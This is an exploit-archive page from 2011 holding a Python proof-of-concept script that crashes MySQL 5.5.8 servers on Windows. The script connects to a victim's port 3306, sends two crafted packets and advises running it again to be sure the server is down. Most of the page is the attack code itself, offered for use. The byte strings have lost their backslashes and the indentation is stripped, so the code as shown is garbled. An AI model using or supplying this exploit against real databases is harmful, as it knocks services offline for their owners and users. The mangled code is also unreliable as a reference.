MySQL 5.5.8 Remote Denial Of Service (DOS)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MySQL 5.5.8 Remote Denial Of Service (DOS)
# Published : 2011-12-24
# Author :
# Previous Title : PHP Hashtables Denial of Service
# Next Title : CyberLink Multiple Products File Project Handling Stack Buffer Overflow POC

import socket, sys 

print "n" 
print "----------------------------------------------------------------" 
print "| MySQL 5.5.8 Null Ptr (windows)                                |" 
print "| Level Smash the Stack                                         |" 
print "----------------------------------------------------------------" 
print "n" 

buf=("&x00x00x01x85xa2x03x00x00x00x00@x93x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rootx00x00")

buf2=("x11x00x00x00x03set autocommit30")

def usage(): 
print "usage : ./mysql.py <victim_ip>" 
print "example: ./mysql.py 192.168.1.22" 


def main(): 
if len(sys.argv) != 2: 
usage() 
sys.exit() 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

HOST = sys.argv[1] 
PORT = int(3306) 
s.connect((HOST,PORT)) 
print "[*] Connect" 
s.send(buf)
print "[*] Payload 1 sent"
s.send(buf2) 
print "[*] Payload 2 sentn", "[*] Run again to ensure it is down..n" 
s.close() 

if __name__ == "__main__": 
main()